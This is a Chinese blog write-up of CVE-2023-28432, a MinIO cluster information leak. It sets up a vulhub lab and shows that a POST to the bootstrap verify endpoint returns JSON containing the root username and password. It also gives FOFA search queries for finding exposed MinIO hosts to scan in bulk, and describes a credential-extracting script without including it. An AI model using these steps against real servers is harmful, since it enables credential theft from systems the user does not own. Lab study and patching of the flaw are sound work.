MinIO集群模式信息泄露漏洞(CVE-2023-28432)

2023-12-13 03:55:11

前言:MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务。虽然轻量,却拥有着不错的性能。它兼容亚马逊S3云存储服务接口,非常适合于存储大容量非结构化的数据。该漏洞会在前台泄露用户的账户和密码。

0x00 环境配置

此次实验,我们继续使用P神的Minio的docker环境。启动环境:

 
  1. cd /vulhub-master/minio/CVE-2023-28432/

  2. docker-compose up -d

启动完成后访问http://your-ip:9001为集群的web管理页面,另外http://your-ip:9000为集群的API接口。

0x01 触发漏洞

这个漏洞的节点存在于这个路径:http://your-ip:9000/minio/bootstrap/v1/verify
对该路径发送POST请求会返回一段JSON数据:

{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}

在该json字段中,我们可以看到MINIO_ROOT_USER字段包含账户名,MINIO_ROOT_PASSWORD字段包含账户的密码。所以该信息泄露其实就是API接口的信息泄露。我们可以根据这个特性,写一个批量的脚本文件来检测,并将其中的关键信息返回。

0x02 POC利用

先在FoFa或者鹰图上面收集跟MinIO集群相关的资产。
banner=“MinIO” || header=“MinIO” || title=“MinIO Browser”
脚本相关较为敏感,若有需要可以加群下载。
其实脚本比较简单,就是向这个漏洞URL发送请求,判断返回包是否包含敏感字段。
如果包含就说明有敏感JSON字段,最后对这个JSON数据进行解析,拿出其中我们需要的两个字段即可。下图为利用效果。

0x03 加固建议

升级官方最新补丁可以修复该漏洞。

文章来源:https://blog.csdn.net/kalilinuxsafe/article/details/134881928
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。